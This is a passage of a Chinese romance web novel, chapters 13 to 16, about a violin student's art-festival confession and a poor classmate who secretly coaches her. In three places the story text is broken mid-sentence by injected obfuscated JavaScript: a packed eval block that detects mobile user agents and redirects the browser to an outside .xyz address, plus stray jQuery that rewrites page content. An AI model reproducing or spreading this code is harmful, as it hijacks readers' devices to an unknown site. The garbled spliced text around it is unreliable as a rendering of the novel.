犹如见到救命恩人,任可心立即飞扑过去,把她迎进来,一把按进程霏霏那张“从来不接客”的椅子里。 下一秒,她忽然盯住黎玥的脸:“你化妆了?” 黎玥心虚地别开脑袋,故意将话题岔开,指了指电脑屏幕:“这是什么?” 任可心的思绪立刻回笼,她按下笔记本的空格键,开始播放一段视频。 视频里有许多憨态可掬的鸟,或驻足枝头,或在林间自由飞舞。黎玥很快就被这生机勃勃的画面所吸引。 “这是我们爱鸟社的宣传视频,我拍的!”任可心满脸骄傲,不知从哪儿摸出一个橘子,开始剥皮。 “今年没招到几个人,我觉得,还是宣传得不行。” 任可心吭哧吭哧地剥着橘子。 “所以我就托了人,求来一个校网的广告位,想好好宣传一下。但是人家不要纯视频,要带文案的。你知道的,那玩意儿我可写不出来。” 手捧着剥好的橘子,任可心眼巴巴地望着她:“黎学霸,救我!” 原来是这么个事。 黎玥眉梢微扬,拿起一瓣橘子塞进嘴里,很仗义地比了个OK。 * 江羽伸展手臂,将一张干净的桌布抖开,铺展在餐桌上。 吊灯的柔光自上方投下,在他挺直的鼻梁处洒下一片暗影。 面部的轮廓精致到无可挑剔,鸦羽般的睫毛细长,映在眼尾,更显得一双桃花眼微微上挑,勾魂摄魄一般的俊美。 常泰在一旁暗暗打量,不得不服气,这般长相,的确会让女孩子移不开眼。 长得好看就罢了,偏偏气质也矜贵到不行。 同样一套衬衣领结的工装,穿在自己身上就像个厨子,穿在他身上却像个王子。 常泰有时甚至会恍惚,这是谁家的少爷出来打工来了? 自从江羽来这里工作,餐厅的生意都跟着好了许多。 时间不早,店里只剩他们两个人。常泰唤了江羽一声,扔给他一瓶气泡水。 江羽道了声谢,将饮料暂放在一旁,继续摆放餐具。 常泰忽然问:“小江,是不是遇上什么麻烦了?” 江羽愣了一下,不解地抬头。 “别怪哥打听啊,怎么想到来做这个的?” 他指了指江羽身侧的推车,上面堆满了刚刚消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861484|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒干净的碗碟。 江羽了然道:“这份工还不错,时间灵活,离学校也近。我倒是想去挖矿,挣得还多,可惜赶不及回来上课。” 常泰戏谑地说:“你长得可不像个打工仔。” 江羽失笑地摇摇头:“不止这个,我外头还有三份活儿呢,要不要讲给你听?” 常泰哈哈大笑:“年轻真好啊!” 说着,又走过来拍了拍江羽的肩膀:“困难都是暂时的。小伙子,好好干!” 江羽却反问:“常哥,你也没比我大几岁,怎么没继续读书了?” 常泰耸了耸肩:“我要是有你那智商,能考来江大这样的学校,当年也不会辍学咯。” 他哼着小曲往外走:“今天你锁门!” 江羽下班的时候,时间已经很晚了。手机上有项凡好几通未接来电,甚至还有一条最后通牒的语音:【你再不回来,我就绑架你的狗!】 江羽没理那些电话和微信,看了眼时间,都快十点了。 他拔腿就往校园里跑。 音乐学院的教学楼里静悄悄一片,江羽熟门熟路地摸到最里面那间教室的窗外。 室内灯光明亮,程霏霏靠在一张椅子里,两只脚担在课桌上,正在闭目养神。 江羽倚着墙根,缓缓坐下。 每天收工之后,他都会跑来这个地方,偷听程霏霏拉琴。 有时候她非常投入,兴致很高,能意气昂扬地苦练一整晚。 有时候则像今天这样,大抵是遇到了什么瓶颈,先胡乱发一通脾气,然后便开始摆烂。 江羽隔着一堵墙静静地听着,从来不上前去打扰。 这是他一天当中最为放松的时刻。 只消看着她的身影,哪怕离得这样远,忙碌了一天的疲惫仿佛就烟消云散了。 江羽微抿着唇角,闭上眼睛,忽然听到程霏霏在自言自语:“我是不是永远也拉不好这首曲子啊?” 那语气中的伤感,令江羽心头一颤。 他立刻抬眼望过去,教室里的少女竟然抹了一把眼角,一团晶亮的水渍凝在她的腮上——她哭了。 程霏霏其实是被气哭的。 她刚刚在教室里睡着了,梦见自己在艺术节的台上演出,将曲子拉得乱七八糟,底下的观众都在喝倒彩。 她还看到李泽昱从人群里走上台,当着众人的面,毫不客气地指着她的鼻子质问:“就这?” 瞬间给她气醒了。 程霏霏抹了两把眼泪,梦中的羞恼还未散尽,衣兜里的手机忽然开始嗡嗡震动。 她心烦意乱地接起:“喂,哥。” 程皓南:“你人呢?怎么不在宿舍?” “我在外面呢。” 程霏霏莫名有点心虚,清了清嗓子,想要打发她哥挂电话,却听对方说:“我在你宿舍楼下,天凉了,婶婶让我给你送厚被子。” 程霏霏看了眼时间,无语道:“你这个点来?万一我睡了呢?” “少废话,你这不还没睡么!” 程皓南这厮,八成是给忙忘了,下班回家才想起来还有个给妹妹送被子的差事。 程霏霏只好从椅子里起身,讲着电话往外走,离开的时候,顺手关了墙上的灯。 兄妹俩的通话声越来越远,直到听不见。 一片黑暗中,江羽从窗台下站起身。 他绕过郁郁葱葱的草丛,来到教学楼的正面,从大门走了进来。 轻车熟路地找到走廊尽头的练习教室,江羽轻轻推开门。 教室还算宽敞,四周摞满了杂物,屋子中央摆放着一套桌椅。旁边,程霏霏的曲谱正大喇喇地摊在架子上,等待着主人第二天再次光顾。 江羽走过去,目光扫过那纸单薄的曲谱。 从书包侧兜里抽出一只笔,江羽打开手机的电筒,俯下身。 今夜出奇得寂静,连风的声音也没有。 空荡荡的教室里,只有笔尖划过纸面的沙沙声,仿佛梦里的回音一般,眇眇忽忽,暧昧不明。 14. 14 来自澳洲的羊毛温泉被又轻又暖,程霏霏睡得舒爽,一夜好眠。 不知是不是前一天晚上打了个盹的缘故,第二天清晨,天刚蒙蒙亮,程霏霏就自然醒了。 还没在暖和的被窝里温存够,阳台的门豁然敞开,深秋的凉意争先恐后地倒灌进来,将甜蜜的慵懒搅得粉碎。 程霏霏把头缩进被子里,裹成一只鸵鸟,闷声嚷道:“黎玥,关门!” 黎玥叼着牙刷,露出恶作剧得逞的笑容,仿佛没听见室友的抗议声,将门开得更大。 整个寝室的气温瞬间暴跌五度。 程霏霏干脆不睡了,一脚把被子踢开,从床上几步跃下,掐住黎玥的脖子就往床上拖。 “谋杀室友啦——救命!”黎玥夸张地哀嚎。 两个人一通打闹,都出了一身汗。程霏霏睡意全无,只能从善如流地起床,和黎玥并排着,站在阳台上洗漱。 睡了一觉,昨天的坏情绪烟消云散。程霏霏心情极佳,看着外面气温骤降的深秋,也觉得如阳春三月似的美好。 今天没有课,她可以早点去音乐教室练琴。 余光里,室友正在对着镜子扎头发。 程霏霏后知后觉地发现——黎玥这阵子,好像有些不一样。 某个女学霸素来一根马尾辫闯世界,平时连镜子都很少照。如今竟然学着网上的教程,笨手笨脚地给自己盘了一个松垮的丸子头。 程霏霏很是惊讶,走到黎玥身后,双手抱胸,单刀直入地问:“你谈恋爱了?” 吓得黎玥手一抖,丸子头散了。 程霏霏抿唇一笑,上前接过黎玥的梳子。 一手拢着落下的碎发,另一只手仿照着刚刚的形状,将头发利索地挽起。头绳在指间翻飞几道,便有了一个形状完美、呼吸感饱满的发团。 和手机上那张例图几乎一模一样。 黎玥惊喜极了,对着镜子左看右看,忍不住夸赞:“霏霏,你这手艺可以收徒了!” 程霏霏拿起一颗苹果,吭哧吭哧地啃。 “熟能生巧呗。我这一年别的没干,光扮乖了。” 自从进入江大,程霏霏三不五时地便要去李泽昱跟前凹人设。法器之一,便是一颗尽显少女感的丸子头。 这发型搭配上一条温柔的棉布裙子,邻家妹妹的形象保管拿捏得入木三分。 黎玥也想到了这一点,笑得肩膀都在抖。笑完了又忍不住问:“你为什么会觉得,李泽昱喜欢这一款?” “这有什么奇怪的。”程霏霏支着脑袋,一脸理所当然,“直男的理想型,不都是清纯温柔小白花么?” 她指了指自己:“知道这张脸骗到过多少人么?呵,男人!” 黎玥笑得前仰后合,她知道,程霏霏并非在卖弄,她是真的在用数据说话。 程霏霏已经啃完了苹果,果核丢进垃圾桶,去水槽洗了手。也没擦干,就着满手凉水挠了挠黎玥嫩生生的下巴。 “真好奇啊,让我们黎玥春心萌动的男人,究竟什么样?” 黎玥捶了她一记,给人赶出寝室。 转身靠在门板上,黎玥摸了摸形状完美的丸子头,脸悄悄红了。 * 程霏霏哼着歌,一路来到音乐学院的教室,大喇喇地推开门。 灿烂的晨光从窗户里涌进来,照亮了屋子里的每一处角落。 细小的浮尘在空中悠悠荡荡地飞舞,被挥动的琴弓带起一阵气流,搅得纷乱。 程霏霏先对着空气练习了几下弓法,然后扛起小提琴,走到谱架前。 下一瞬,她缓缓放下手里的琴,目瞪口呆地捧起自己的谱子。 原本干干净净的乐谱上,此刻,竟然被圈出了大大小小无数个圆圈。 每个圈圈旁边,都写着简明扼要的批注,合在一起,密密麻麻—— 【对于初学者来说,按照这个逻辑,先将曲子拆分为小节,每一小节在正确的前提下反复练习,要比从头拉到尾更能提升练习效率。】 【弓长给得过多,没有挂住弦,才会导致蹭音。同样的问题还出现在这里,这里,以及这里。】 【中慢速的分弓不顿弓,能帮你稳住音色。】 【此处速度变快,所以力量要集中,试试右臂发力去带动手指。】 【在弓根处需要减力,才能降低噪音。】 【这里,曲谱错了。】 程霏霏:“……” 她立刻拿出手机上网比对,发现自己下载的这版谱子,的确是错了一个音。 连这都能听得出来? 程霏霏呆若木鸡地站了一会儿,猛然抬头,仔细打量过整间教室。 角落里堆满了杂物,根本没有躲藏的空间。 她立刻夺门而出,飞奔到走廊上。 这时候,上早课的学生们陆续从教学楼的正门进来,走廊里的人越来越多。程霏霏不得不贴着墙根移动,仔细凝视着过往的每一张脸。 双手将曲谱攥得死紧,内心激动又混乱。 她试图找一个人,却不知道自己在找谁,又该怎么去找。 这种感觉似曾相识——在人群里独自迷茫,跌跌撞撞,有人趁乱拉了她一把,她着急地伸手去够,却什么也抓不到。 程霏霏的心怦怦乱跳,胸廓上下起伏,呼吸因为紧张和兴奋而急促不稳。 目光在每一张脸孔上扫过,不愿错失擦肩而过的任何一个人。她焦急地伸长脖子,想要辨识出哪怕一丝丝留下过这些文字的端倪。 直到早课的铃声响起,学生们陆续进了教室,程霏霏独自站在音乐学院的走廊上,第一次觉得这栋年岁悠久的老建筑居然空旷到令人心凉。 她失魂落魄地回到音乐教室,重新展开那张曲谱,从头到尾,认真读过每一个字。 整篇注释详尽又贴合,每一个点都异常精准,切中要害。她常犯的错误、她的短板和缺憾,无不一一点明。 点明的同时,还给出了简单直白的建议,让她一个新手也能看得懂,且用得上。 她的小老师都没有如此入木三分地指点过她,程霏霏想,自己这是蹭到大神了啊。 究竟是谁呢? 最后的最后,曲谱的背面,还写着这样一段话: 【技术虽然可以增添演奏的层次感,但打动人心的音乐,未必一定要复杂的技巧。情之所至,音之所生,亘古不变。】 程霏霏愣了愣。 不知为何,心底那些长达几个月的焦躁烦闷好像一瞬间跑了个干净。 她捧着曲谱,会心地笑了。 * 从那天开始,程霏霏仿佛彻底忘记了艺术节表演这件事。每天起早贪黑地反复练习,也仅仅只是为了把这首曲子拉好。 她严格遵从着这位不知名人士的点拨,将自己的每一个小问题单独摘出来,反复思考:为什么这里拉得不好,别人的版本究竟好在哪里,自己要怎么样才能克服问题,做出改变。 一旦厘清了思路,她反而降低了速度,针对每一个问题点进行龟速又缓慢地重复练习,直到将正确的模式刻进肌肉记忆。 有效的方法加量的积累,令程霏霏产生了进阶型的质变。一个星期后,她的小老师再来旁听时,着实震惊于这神一般的进步,就差给她打上一个“小提琴天才”的名号了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861485|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程霏霏落寞地想,小提琴天才不是我,怕是另有其人。 这一周,她刻苦练习的同时,也随时观察着周围的动静,却一直没有发现什么人来旁听。 程霏霏无不遗憾地想,大神也太放心了,居然不来听听她这个野生徒弟到底有没有进步。 如果让她逮到人,一定要好好感谢一番,然后不由分说地缠上去,跪地拜师才行! * 江羽这个星期几乎忙到飞起。 拓知的课业压力非同小可,说是不分专业,其实是将理科通识课程全部学一遍,主打一个兼收并蓄。 他一面顾着学业,一面又要应对兼职,每天睡觉的时间都不够。有几回,在课堂上实在没坚持住,迷迷糊糊地打起了瞌睡。 好巧不巧,竟然被老师提溜了起来,幸亏他脑子转得快,哪怕站起来之后现场审题,也总能惊险地转危为安。 等到挤出时间赶来音乐教室,程霏霏已经收拾好东西,背着琴盒往回走了。 江羽依然不动声色地跟在了她身后。 江城的深秋不似帝都,没有大肆脱落的枯叶。植物们都在悄咪咪地试探着,一点一点变化着颜色。 隔三差五的绵绵冷雨,更是掀起一阵阵潮湿逼人的寒气。 程霏霏打着一把透明雨伞,边走边小声哼唱着旋律。 道路安静,隔着老远,江羽也能听得清清楚楚,那是她正在反复练习的曲子。 她非常在意这首歌,练得这么辛苦,是为了去艺术节的晚会上表演——为了一个叫作李泽昱的男人。 雨点落在江羽没有打伞的肩头,洇出一片怅然的湿意。 他有点希望,这条从音乐学院到女生寝室的路能够长一些、再长一些。 毕竟,唯有眼前的这条路,是属于他的时间。 黑夜很安静,静到江羽也能够从奔忙的生活里松懈下来,暂时脱离开麻木而紧绷的外壳。 他能感受到某种刻意压制的情感在一点点冒头,犹如一圈圈涟漪,荡漾在他的心口。 一种叫作贪恋的东西在胸腔里潜滋暗长,混合了惆怅、紧张与渴望,一股脑涌向了嗓子眼,令他几乎想要追上去,唤一声她的名字。 脚步不受控制地抬起。 下一瞬,鞋子踩在树叶上,发出“咯吱”一声响。 江羽低下头,看到自己球鞋的边缘,不知什么时候裂开了一条缝。 目光顺着这条缝隙往上,江羽看了看自己身上洗到发白的牛仔裤,和穿了太久、已经磨得起球的卫衣。 前方,程霏霏在女生宿舍的檐下收了伞,正拿着纸巾擦拭微微粘湿的琴盒。 那琴盒里放着的是一把德国工匠品牌的纯手工定制小提琴。 江羽清楚那把琴的价格。 他停在原地,目送着她进了宿舍楼,没有再上前。 秋雨越下越大,将楼下的少年淋到透湿。浑身都冷冰冰的,连着胸腔里的那颗心,好像也一并浇了个彻底。 江羽知道,有些话,他连出口的资格都没有。 寝室的灯光亮起,江羽抬起头,看到阳台上那丛模糊的剪影,带着娇憨的恣意和放松。 这样的身影,永远不该为生活的重担所累。 雨滴顺着他的发丝落下,砸在石板路上。 江羽就这样一动不动地站着,直到那扇窗棂里的灯光彻底熄灭,他才沉默地转过身,在濛濛雨雾中走远。 * 坏天气并没有持续太久。 翌日,连下了好几天的阴雨终于彻底停歇,江大的学子们见到了晴朗的日头,也迎来了迎新艺术节的舞台。 15. 15 每年的“迎新艺术节”,已经成为了江城大学独特的秋日传统。 艺术节通常持续一周,每天都有一个固定的主题。主题之下,各个学院也会举办自己的庆祝活动。是以,节日期间,整个校园里处处都洋溢着欢欣热闹的喜庆氛围。 而艺术节的高潮,则是由校学生会和社联联合举办的“艺术之夜”。 因为,这是一个彻彻底底的学生舞台。 为了彰显“兼容并包”的校园文化,这场文艺演出没有任何校领导参加,全凭学生会自主把控。大家可以在遵守相关制度的前提下,尽情释放个性,表达自我。 所以,每年都会有许多稀奇古怪的节目登场。 这台晚会的人气也极高,还没开场,观众席已经坐得满满当当。 程霏霏站在礼堂的后台,撩开一角幕帘,伸着脑袋,望了望下方五颜六色的观众席。 讲实话,要不是因为自己播音系出身,时不时的要为这个学院客串个主持、给那个社团兼职个口播,一年多下来,多多少少积攒了一些舞台经验,在今天这么个场合,大概也会紧张得坐立难安吧? ——就如旁边这位民谣吉他社的哥们一样。 这个组合叫作“天雷地火”,出身江大人气很高的吉他社,主唱之一居然是李泽昱的室友——周韬。 程霏霏和周韬仅见过几面,算是点头之交。 虽然话都没说过几回,可如今,面对这位紧张到满头暴汗、脸色惨白、面部肌肉都在痉挛的熟人,程霏霏实在不好意思袖手旁观。 她兜住小礼服的裙摆,蹲下身,尽量以亲切和蔼的姿态宽慰着崩溃边缘的周韬。 “别紧张,你之前唱得那么好,这次也一定没问题的!” 周韬抬眼:“……你看过我的演出?” 程霏霏笑眯眯地点了点头。 “之前的主唱毕业了,我刚后补上来,今天是首唱。” “……” 程霏霏从怀里摸出一瓶果汁,讪笑着递过去:“我请你喝饮料吧?紧张的时候,喝点东西会比较好哦。” 周韬不客气地接过来,咕咚咕咚干掉大半瓶,才感觉稍微活过来一点。 他看了一眼她身后的琴盒:“程霏霏,你不紧张吗?” “紧张啊。”程霏霏依旧笑眯眯的,“没有人在上场之前不紧张的。” 其他几位乐队成员也围在程霏霏的身侧,听着她慢声细语的宽慰,默默感叹,这位娇娇软软的小学妹真可爱,笑起来也是楚楚动人。 “所以呢——”只听程霏霏接着道,“为了调节情绪,上台之前,我通常会先去拳馆打上两个小时,消耗一下体力。” “……” 前面的演出已经开始,所有节目按照预定好的流程,一个一个上场。 程霏霏应付完吉他社的众人,偷偷掀开帘子,满场寻找李泽昱的身影。 自从她沉迷练琴,已经很长时间没有见过他了。 今晚,她将按照自己预想的计划,借曲传情,当众表白。 程霏霏正左顾右盼呢,周韬忽然来到她的身后,轻声问:“你在找李泽昱吗?” “对啊。”程霏霏想也不想地应道。 周韬的表情看上去有些欲言又止:“你还是放弃吧。” 程霏霏:? 这时候,上个节目已经结束,主持人登台报幕:“下面,由新闻传播学院的程霏霏为大家带来小提琴独奏——RememberOurSummer!” 顾不上追问更多,程霏霏立刻挂起职业微笑,掀开帘子,踏上舞台。 她今天穿了一条齐膝的深灰色蓬蓬裙,纤薄的轻纱上染着莹莹亮粉,被舞台的灯光一炫,仿若一只闪着细碎光辉的银蝶。长发如瀑,柔顺地披在肩后,发间点缀着一枚黛黑的丝绒蝴蝶结,整个人说不出的清纯漂亮。 迈上舞台的那一刻,程霏霏骨子里的专业细胞立刻苏醒,下意识地便端起了主持人的范儿。 她很自然地停驻在舞台中央,目光从容地扫过全场,随即就在观众席的第一排边缘找到了正在和下属讲话的李泽昱。 李泽昱今天穿着艺术节的主题卫衣,胸前挂着晚会工作人员的牌子。举手投足间气场尽显,安排工作时面容沉肃,眼神中隐隐流露出学生会干部的威压。 程霏霏不动声色地将眼神收回,开口是极标准的播音腔:“大家好,我即将表演的节目,是一曲小提琴独奏。这并不是一场厉害的演奏,实不相瞒,我真正学习小提琴的时间,满打满算,也只有四个月。” 台下响起一片嗡嗡的惊讶之声。 “之所以想挑战这件事,是因为,它对我而言,有着非比寻常的意义。” 程霏霏顿了顿,眼神变得很柔和:“有人告诉我,情之所至,音之所生。我想在这个舞台上,用自己演奏出的每一道音符,向一个人,诉说我心中最真挚的情感。” 余光里,台下的李泽昱忽然抬起头,目光灼灼地望过来。 观众席也一片哗然,大家纷纷嗅到了八卦的味道! 黎玥坐在台下,给任可心发微信:【上个厕所都能迷路?快点,霏霏已经上场了!】 她的左手边,两个姑娘正在交头接耳。 “那个就是播音系的程霏霏呀?长得还可以诶。” “是啊,听说她也喜欢李泽昱的,都追了一年了。” “真的假的……啧,妹子有点可怜哦。” 黎玥忍不住皱了皱眉,从手机上抬起头,疑惑地问:“不好意思啊,不是故意偷听的,只是……程霏霏怎么就可怜了?” 左边的女生一顿,眨巴着无辜的大眼睛,冲黎玥亮出了自己的手机:“你自己看嘛!” 黎玥伸长脖子望过去,只见这个姑娘的朋友圈里,备注名为“外院剑人姚安琪”的人发布了一张和李泽昱牵手的亲密合照。 文案是简单的一句话:【惦记的人太多了,好在你已经属于我了。】 后面跟了一连串粉红小爱心。 发布时间——五分钟前。 黎玥:!!! 她猛地转头,看向舞台。此时,程霏霏已经架起小提琴,开始演奏了。 黎玥此生都没有经历过比这更加心焦如火的时刻。 哪怕在高中的期末考场上涂串了答题卡,她都能气定神闲地在临交卷的最后两分钟,擦掉所有答案,重新来过。 可是此时此刻,她遥望着程霏霏专注的神情,浑身的血液都僵滞了。 这么办?怎么办! 按照程霏霏设计的流程,一曲完毕,她就会当众对李泽昱剖白自己的心意。然后在晚会结束的时候拦住他,问他愿不愿意做自己的男朋友。 可是显然,李泽昱他已经…… 黎玥捂住了眼睛,做了几下深呼吸,不敢想象那个终极社死的场景。 旁边,任可心的空位上还放着她的笔记本电脑。 心念翻涌之间,黎玥灵光一闪,抱起电脑便冲向了演出的后台。 * 程霏霏觉得,台上的这一曲,简直是练习这么久以来,发挥得最好的一次。 她对旋律熟稔于心,已经不必再依赖曲谱,全程都沉浸在一种笃定又自信的情绪中。 手指稳健地操控着琴弓,每一次与琴弦的摩擦都尽可能细腻精准,将每一道音节都掌握得丝丝入扣。 随着旋律的流动,脑海里依次闪过那个人的每一句话。程霏霏的心中充满了安全感,仿佛被什么力量稳稳托住。 ——你在现场吗?有没有听到我的演奏?我每天都有按照你的建议好好练习哦! 上场之前,程霏霏从随身的包里拿出那枚形影不离的钥匙环,贴在心口,重新回顾了那段令她魂牵梦萦的记忆。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14861486|159447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>周身被澎湃的冲动和勇气环绕着,程霏霏将满腔思念倾注进每一个音符。 李泽昱就在台下,可是莫名的,程霏霏依然觉得,她在思念着一个远方的人。 琴曲仿佛听懂了她的心,将一腔酸楚的怀念之情娓娓道来。 观众们听得极其投入,没人想到,仅仅练习了四个月的曲子,竟然能表现得这样好。 没有任何花哨的技法,程霏霏中规中矩地以一个新手的方式,把曲子拉出了最饱满的效果。 伴随着最后一小节的落幕,程霏霏呼吸微颤,抬弓收音。 礼堂里一片安静,只有回声的余韵盘桓在上空。 安静了几秒钟之后,大家才如梦初醒,用热烈的掌声送上最诚挚的认可。 程霏霏笑得异常灿烂,对着观众鞠躬致谢。心里想着,就冲这一刻,什么都值了! 她单手握住小提琴,将话筒举在胸前。杏眸微抬,望向第一排角落的李泽昱。 目光相触,程霏霏按下胸腔里杂乱无章的心跳,声音有些颤抖:“这首曲子,我想……” 就在这时,舞台的音响里忽然爆发出一阵刺耳的盲音,打断了程霏霏未竟的话。 紧接着,一大波尖锐的鸟鸣声从音箱中倾泻而出,叽叽喳喳,乱成一团。 程霏霏吓了一跳,赶紧捂住耳朵。 身后的大屏幕上,忽然开始播放一只鸟类宣传片——湛蓝的天空中,各类花花绿绿的鸟儿飞来飞去,眼花缭乱地刺激着人们的视觉。 鸟群过境后,视频戛然而止,最后的画面里,赫然出现一组白底黑字—— 【欢迎加入爱鸟社!】 这几个大字,潦草得就像是用幻灯片临时打上去的,以最辣眼的方式,一秒击碎小提琴演奏所营造出的浪漫氛围。 程霏霏已经傻了。 后台,吉他社的成员忍不住吐槽:“靠,搞这么深情,还以为要表白呢,结果竟然是来拉新的!” 观众里也有人跳脚:“简直不讲武德!罢了,大家都别做人——欢迎加入我们天文观察社!” “文学社!各位新生们,来文学社吧!” …… 观众席一片混乱,仿佛重回那天百团大战的现场。主持人不得不冲上台,尴尬地维持秩序。 “感谢程霏霏同学的演奏,谢谢她用美丽的乐曲为保护鸟类做出宣传。接下来,有请‘天雷地火’组合,为我们带来精彩的演出,大家鼓掌欢迎!” 没有人鼓掌,观众们还在争夺广告位。 主持人退场的时候,还不忘将呆愣的程霏霏一起拉走。 “霏霏?” 主持人是程霏霏的班长,抬起手在她眼前晃了晃:“你没事吧?” 程霏霏才从混乱的状况里清醒过来,抱歉地一笑:“对不起啊老大,给你添麻烦了,改天请你吃饭赔罪。” 她转身就往外跑。 黎玥和任可心并肩坐在后台的楼梯上,看着程霏霏一脸怒容地冲过来。 “你们俩,最好给我一个合理的解释!” 任可心跟黎玥对视一眼,叹了口气,点开一张照片,送到程霏霏眼前。 程霏霏的第一反应居然是——爱情果然滋养人,姚安琪看着都比之前水灵了不少。 她的目光在李泽昱脸上轻轻一顿,按灭了屏幕。 “……竟然晚了一步。” 程霏霏垂着脖颈,在楼梯上坐下,一把扯掉头上的蝴蝶结,满头青丝如水一般光滑地泄下。 前头的礼堂里响起震天的音乐声,看来,刚刚的闹剧已经翻篇,大家都重新回归到鼎沸的节目里了。 “霏霏……”黎玥觑着她平静的脸,不安地说:“不开心就发泄出来,无论怎样,我们都会陪着你。” 程霏霏只是从包里拿出那枚熟悉的钥匙扣,放在掌心中轻抚着。目光微垂,不发一言。 16. 16 夜色渐沉,星星点点的霓虹在城市深处蔓延开去,给迷醉的酒吧街又染上一层颓废的暖金色。 江羽周身笼罩在暧昧的灯光中,精致的五官被明暗不定的光影遮挡,看不真切。 他长腿舒展,从半人高的吧台椅里起身,熟练地将余音未歇的麦克风插回支架。 简简单单的动作,却带着浑然天成的潇洒率性,连阅人无数的酒吧老板娘也不禁为之心折。 更遑论在场的客人们。 很快,有人点了最贵的酒送来,希望“认识一下刚刚唱歌的小帅哥”。 江羽却马不停蹄地回后台收拾东西,到点下班。 老板娘笑容满面地跟了过来:“小江,9号桌的客人,你真的不去认识一下?” 江羽客气地回绝:“我不会喝酒。” “不会喝酒怎么了?”老板娘使了个暧昧的眼色,意有所指地说:“就当多认识一位有钱姐姐嘛,赚点零花。” 江羽打趣:“有钱的姐姐我只认识一位,就是琴姐你啊。” “臭小子!”老板娘嗔怪道,“真是不会变通,你啊就去给人端盘子端到死吧!” 江羽淡淡一笑,跟琴姐道别,提着书包从员工通道离开。 手机上,王鹏发来短信:【已经打听到那耳坠的去向了,这几天就能找回来。】 【这个月的钱别忘了打!】 江羽已读不回,接着又点开微信。 项凡:【不敢相信,我竟然加入了这么个玩意儿!】 项凡:照片.jpg 江羽点开图片。 艺术节的舞台上,白底黑字的“欢迎加入爱鸟社”几个字,大喇喇地占据了整个大屏幕,土得别具一格。 江羽的眸光轻轻一闪,将照片放大,看到了站在台上、一脸呆滞的程霏霏。 她一手拎着小提琴,似乎已经表演完了,可是看她的神情…… 江羽皱了皱眉,是演奏不顺利吗? 这时候,一辆出租车在路边霍然停下。紧接着,照片里的女孩子就从车上跳下来,猝不及防地出现在了江羽的视线里。 程霏霏还是刚刚在台上的那身打扮,衣着鲜亮,裙摆飘然。只是头上没有了蝴蝶结,长发被寒风吹乱,挡住了脸上的表情。 江羽怔怔地望着这道从天而降的身影。 她独自一个人,进了路边一家高档酒吧。 江羽情不自禁地跟了上去,却被门口的酒保拦下:“不好意思,我们这里是会员制。” 透过酒吧门缝,他看到程霏霏独自去到吧台前,坐在了高脚凳上。 她的背影看起来非常不开心,江羽疑惑,究竟发生了什么事? 程霏霏点了一只镶着青柠檬的伏特加子弹杯,端起杯子便一饮而尽。 烈酒入口,浇在她憋闷的心头,驱散了几分郁气。尤觉得不过瘾,索性又点了三杯。 几杯酒下肚,程霏霏的意识才逐渐朦胧起来。她终于无力支撑,缓缓地趴在了吧台上。黑长的发丝披散,在反着光的台面上铺开。 她不需要朋友们的安慰,此刻,她只想放倒自己。 程霏霏虽然没谈过恋爱,但因为拒绝过太多追求者,一直以来,都秉承着一套十分冷酷的感情观——世上那么多人,总有你不喜欢的,也总有不喜欢你的,没必要凡事都问个理由,显得输不起。 谁成想,这套逻辑转头就报应到自己头上。 想到这几个月来努力练琴的自己,程霏霏露出一个嘲讽的讥笑。果然,只有笨蛋才会下这种蠢功夫,聪明鬼早就暗度陈仓,把人勾到了手。 自己一直以来,就是那个最笨的大笨蛋! 程霏霏直起身子,招手唤人,点了更多烈酒。 她豪爽的作风很快吸引了旁边一个男子的视线。 男子的目光在程霏霏身上放肆地打量,确定这位美女是独自一人,立刻目露精光,暧昧地上前搭讪。 “妹妹,怎么自己在这儿喝闷酒啊?” 程霏霏已经有些意识不清,盯着他,晕晕乎乎地反问:“你们男人,不是都喜欢清纯小白花的吗?” 男子应道:“当然啊。” 程霏霏皱紧了眉,有些口齿不清:“那为什么……不喜欢我?” 男子一愣,油腔滑调地回应:“我喜欢啊,我最喜欢你这款清纯的了!” 说着,竟然试探着靠近,想去牵她的手。 程霏霏猛一抬胳膊,强悍的臂力差点把男子掀翻在地。 她似乎意识到一丝危险,颤巍巍地站起身,提着自己的小包,晃晃悠悠地朝门外走去。 男子随即跟上。 五杯洋酒的后劲在这一刻灭顶般涌来,程霏霏还没走到大门口,脚下就是一软。 头晕目眩之际,被身后的男子一把捞进怀里。 …… 酒吧外,江羽在路边的长椅上呆坐了一个小时,给深秋的江风吹得瑟瑟发抖。 酒吧大门洞开,一个西装革履的男人带着意识不清的程霏霏走到路边,招手拦下一辆出租车。 他打开车门,刚想把人塞进去,身体忽然被一股大力扭扯,紧接着,怀里一空,姑娘竟被人夺了过去。 男子被惯性冲得一头撞在车架上,差点把门牙磕掉。 